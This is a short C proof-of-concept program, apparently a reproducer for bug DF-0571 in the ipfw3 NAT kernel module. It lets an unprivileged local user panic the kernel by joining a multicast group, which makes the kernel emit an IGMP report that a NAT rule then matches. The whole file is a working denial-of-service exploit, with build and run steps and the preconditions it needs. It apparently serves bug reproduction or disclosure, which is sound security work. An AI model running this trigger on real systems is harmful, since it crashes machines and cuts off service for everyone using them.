/*
 * DF-0571 trigger: any outbound IP packet with proto != TCP/UDP/ICMP
 * that matches a NAT rule panics the kernel at ip_fw3_nat.c:254.
 *
 * We don't need to actually craft a raw packet — the kernel itself emits
 * IGMP (proto 2) membership reports when an unprivileged user joins a
 * multicast group on a socket bound to an interface whose traffic matches
 * a NAT rule. The IGMP report is sent via ip_output -> ipfw3 NAT check
 * -> check_nat -> switch (ip->ip_p) { default: panic("unsupported proto") }
 *
 * Build: cc -o trigger trigger.c
 * Run:   ./trigger         (then wait for kernel panic / ssh drop)
 * Pre:   ipfw3/ipfw3_basic/ipfw3_nat loaded; ipfw3 nat 1 config ip <ifaddr>;
 *        ipfw3 add <n> nat 1 ip from any to any
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(void) {
    int s, rc;
    struct ip_mreqn mreq;

    printf("[*] DF-0571: opening UDP socket and joining multicast group\n");
    printf("[*] this causes the kernel to emit an IGMP (proto 2) report\n");
    printf("[*] which, when matched by an ipfw3 NAT rule, panics at\n");
    printf("[*] ip_fw3_nat.c:254 panic(\"ipfw3: unsupported proto %%u\")\n");

    s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    /* bind to vtnet0 address so the IGMP report goes out via vtnet0 */
    struct sockaddr_in lsa;
    memset(&lsa, 0, sizeof(lsa));
    lsa.sin_family = AF_INET;
    lsa.sin_port = htons(0);
    lsa.sin_addr.s_addr = htonl(INADDR_ANY);
    if (bind(s, (struct sockaddr *)&lsa, sizeof(lsa)) < 0) {
        perror("bind"); close(s); return 1;
    }

    memset(&mreq, 0, sizeof(mreq));
    mreq.imr_multiaddr.s_addr = inet_addr("224.0.0.1"); /* all-hosts */
    mreq.imr_address.s_addr = inet_addr("10.0.2.15");   /* vtnet0 addr */
    mreq.imr_ifindex = 0;

    printf("[*] joining 224.0.0.1 on 10.0.2.15... (panic should follow)\n");
    fflush(stdout);
    rc = setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq));
    if (rc < 0) {
        perror("setsockopt(IP_ADD_MEMBERSHIP)");
        printf("[!] multicast join failed: %s\n", strerror(errno));
        printf("[!] try sending via raw socket as root instead\n");
        close(s);
        return 2;
    }
    printf("[+] IP_ADD_MEMBERSHIP returned (no panic from join itself)\n");
    printf("[*] sending a UDP packet to multicast to force IGMP report\n");
    struct sockaddr_in dst;
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_port = htons(12345);
    dst.sin_addr.s_addr = inet_addr("224.0.0.1");
    rc = sendto(s, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
    printf("[+] sendto returned %d\n", rc);
    sleep(3);
    close(s);
    return 0;
}
